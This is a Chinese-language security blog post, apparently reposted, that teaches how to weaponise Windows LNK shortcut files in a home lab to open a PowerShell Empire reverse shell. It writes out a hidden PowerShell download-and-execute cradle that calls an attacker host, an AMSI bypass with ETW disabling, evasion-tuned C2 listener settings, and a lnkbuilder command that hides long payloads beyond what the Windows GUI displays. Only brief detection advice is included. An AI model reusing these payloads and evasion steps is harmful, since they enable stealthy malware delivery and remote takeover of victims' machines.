分析LNK 恶意软件

admin 2024年3月12日09:50:56评论15 views字数 4168阅读13分53秒阅读模式

想象一下没有任何漏洞或宏的有效载荷......

是的,这是可能的。

分析LNK 恶意软件

今天我想谈谈这种有效载荷的一种类型,即恶意的。LNK 文件。我将向您展示如何创建、武器化和检测它们,但最重要的是,为什么只需要双击它们即可执行恶意软件

介绍

.LNK文件是一种Windows文件类型,通常称为快捷方式

您肯定已经在计算机上看到并使用过它们。几乎每个应用程序都使用它们,以便您轻松地直接从桌面启动它们。LNK 文件的一个例子是您单击以启动 google 分析LNK 恶意软件 的图标

现在出现的问题是,如何将这种良性文件格式变成恶意软件加载程序?

  • 155

实际上,这很简单。要理解它,请在桌面上找到一个快捷方式文件并右键单击它,然后转到“属性”。就我而言,这将是尸检取证工具的快捷方式:

随机示例。尸检工具的快捷方式。
属性,其中 target 属性指向尸检 exe 文件。

看到了吗?“Target”属性指向一个可执行文件,该可执行文件在双击快捷方式文件后执行。 就是这样,没有魔法,只是以一种不寻常的方式使用普通的东西。

以 .lnk 文件开头的感染链通常涉及使用一些 LOLBINS( Living Off Land Binaries )来下载和执行下一个恶意软件阶段。这可以是任何内容,从 cmdpowershell 命令到使用 mshta.exe regsrv32.exe

正如你已经看到的,这种技术真的很有前途,所以它已经在一些大鱼使用的野生蜜蜂中出现也就不足为奇了,比如:

- Emotet

- Qakbot

- IceID

如果你好奇这些恶意软件家族的 lnk 加载程序是什么样的,请查看这篇文章,它详细描述了它:

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/

设置方案

在了解了所有这些之后,我将使用我的家庭实验室来展示如何通过让受害者用户双击与 PowershellEmpire C2 中心建立连接的反向 shell 来将此快捷方式功能武器化。

免责声明:请勿在您不拥有或没有明确权利以这种方式使用/测试的系统上或针对系统测试或使用这些技术。

设置基础结构

让我们直接跳到我们的示例攻击者机器并启动 Empire C2。之后,我们可以创建一个侦听器以及将连接回它的有效负载;)

powershell-empire start server
powershell-empire start client

正如您可能已经想到的那样,在使用 Empire 等常见的 C2 工具时,我们需要修改一些配置选项以保持不被发现并逃避监控。(Windows Defender本身不会介意这一点,但是在受监控的环境中,您的shell会在一瞬间被杀死)。

因此,考虑到这一点,我们可以通过调整默认值将通常的 IOC 指标修改为不寻常的指标。我将修改所有内容,从将在代理请求中发送的 Cookie,到包含代理端点路径的默认配置文件:

(Empire)> uselistener http
(Empire)> set Cookie <cookie>
(Empire)> set StagingKey <key>
(Empire)> set UserAgent <agent>
(Empire)> set DefaultDelay <delay>
(Empire)> set DefaultProfile <profile>
(Empire)> set Headers
(Empire)> set Host <your_test_ip>
(Empire)> set Name <name>
(Empire)> execute
配置 Empire 的侦听器选项。

设置基础结构后,是时候创建适当的.lnk有效负载了。有一种主要方法可以做到这一点,但我将在文章末尾向您展示第二种方法作为奖励。

方法一:GUI创建LNK

要使用此方法,让我们转到受害者 Windows 10 机器。创建 LNK 文件的第一种也是最简单的方法是使用 Windows 界面。

步骤如下:

1. 右键单击您的桌面。选取“新建>快捷方式”。

分析LNK 恶意软件

2. 在窗口中键入已知 Windows 可执行文件的名称。单击“下一步”。

分析LNK 恶意软件

3. 键入名称。单击 Finish。

分析LNK 恶意软件
新的 shorcut 文件。

瞧,你有了一个全新的LNK文件!现在让我们把它武器化。

右键单击它并转到文件属性。在“常规”下,将文件名称修改为外观良好。我将使用“Google Update Client”这个名字。

分析LNK 恶意软件

然后更改您需要更改图标。单击更改按钮后,您将获得一个新窗口。将字符串“%SystemRoot%system32SHELL32.dll”粘贴到搜索栏中,然后单击“确定”。

寻找适合您目的的图标,并赋予您的 lnk 合法外观。

分析LNK 恶意软件
LNK 文件的最终外观。

剩下唯一要做的就是修改 shorcut 的目标属性。回到“属性”选项卡,我们可以将涉及本机 Windows 可执行文件的选定 LOLBIN 命令插入到“目标”变量中。

注意:路径变量的最大长度为 4096 个字符,但 GUI 允许设置最大 256 个字符,不显示后面的内容。

由于这个事实,使用一个命令是相当麻烦的,例如,绕过AMSI并在具有此限制的情况下使用powershell执行某些操作。虽然可以通过设置特殊的注册表项来覆盖这个“路径限制”,但这个技巧对我不起作用。正因为如此,我只是将有效载荷分成两个不同的部分。

powershell.exe -WindowStyle Hidden -c "$buf = iwr('http://192.168.56.111:9000/userhistory_records');i''e''x($buf)"

第一个下载托管在攻击者计算机上的 powershell 脚本,该脚本禁用 ETW绕过 AMSI,然后触发第二个下载,拉取回调回 C2 中心的代码。

$Value2='SetValue';[Ref].Assembly.GetType('System.Management.Automation.Amsi'+'Utils').GetField('amsiInitF'+'ailed','Non'+'Public,Stat'+'ic').$Value2($null,$true);[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue($etwProvider,0);Iwr -Uri 'http://192.168.56.111:9000/agreement_details'|iex

由于 Powershell Empire 从始终以“/download”开头的终结点下载其阶段,因此我决定在端口 9000 上启动一个额外的侦听器来为有效负载提供服务,并且不会在网络日志中留下明显的痕迹。

原始有效负载传递终结点。

我将原始有效负载保存到一个文件中,并将其放入使用经典 python http.server 创建的新侦听器的路径中:)

python -m http.server 9000

您可以在下面看到有效负载是如何执行的。左侧的 VM 是托管 PowershellEmpire C2 的 my Kali 计算机。在右侧,您可以看到我们的 LNK 文件如何在完全修补的 Windows 10 计算机上执行,并启动并运行 Windows Defender:

分析LNK 恶意软件

这是执行后生成的网络跟踪。由于对默认设置的更改,它看起来相当无辜,并且可以与正常流量混合:

分析LNK 恶意软件

如您所见,使用此方法生成反向 shell 只需右键单击 LNK 文件即可。无需进一步的用户交互,尽管 lnk 启动器会在短时间内创建一个 cmd 窗口,但它并没有为您提供任何关于其真实意图的明显线索。

一个缺点是,以这种方式创建的 lnk 启动器可以很容易地检查。

分析LNK 恶意软件

右键单击就是您只需要知道此命令是坏消息。我们可以尝试混淆它,但无论如何,它仍然会突出。通过查看现实生活中的威胁参与者使用的第二种创建.lnk文件的方法(即通过各种工具)来解决这个问题。

方法二:自动化模具

正如我已经提到的,您可以使用 GUI 设置的 LNK 路径最多为 256 个字符,而技术限制约为 4096 个字符。这意味着我们可以设置一个比 Windows 界面可以显示的路径更长的路径,从而隐藏我们命令的很大一部分并使其看起来更良性。

例如,通过查看文件属性进行检查时,IceID 使用的 LNK 有效负载如下所示:

来源:迈克菲 ( LNK 恶意软件的兴起 )

Cmd.exe使用一些额外的命令行参数。可疑但并非公然恶意。如果我们真正分析上面的示例,我们会看到完整的命令要长得多,并且执行/下载恶意软件的代码在我们的默认视图中隐藏。

因此,要分析具有长路径的 LNK 文件,最好只需在 HexEdit 等编辑器中查看它们。这样我们就不会错过任何东西。

回到字符限制,如果我们使用代码创建 LNK 文件,我们可以将大量内容压缩到目标值中。幸运的是,一个工具可以做到这一点,在 github 上是公开的:

GitHub - teles/link-builder:一个非常适合前端开发的自动化链接构建工具

一个自动化的链接构建工具,非常适合前端开发 - GitHub - teles/link-builder:一个自动化的链接构建工具......

github.com

这个小的 python 脚本允许构建自定义的 lnk 文件,但最重要的是,在它的帮助下,可以使用长达 4096 个字符的目标路径。

Help menu of the tool.
python2.7 lnkbuilder.py sample.lnk "C:WindowsSystem32WindowsPowerShellv1.0powershell.exe" -a "-WindowStyle Hidden -c iwr('http://192.168.56.111:9000/userhistory_records')|i''e''x"
分析LNK 恶意软件

这里的过程相当简单,与方法一完全相同,但如前所述,我们现在可以合并其他混淆方法,使文件的分析更加困难。

总结

LNK 文件构成了很大的威胁,因为它们不显眼,看起来非常良性,同时保留了需要很少用户交互即可执行的恶意软件加载程序的能力。像 SFX 存档恶意软件(将在我即将发表的文章中介绍)一样,它们可以变成一个成熟的初始访问有效载荷,这不会低于经典的宏 word/excel 文档。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月12日09:50:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   分析LNK 恶意软件http://cn-sec.com/archives/2569164.html

发表评论

匿名网友 填写信息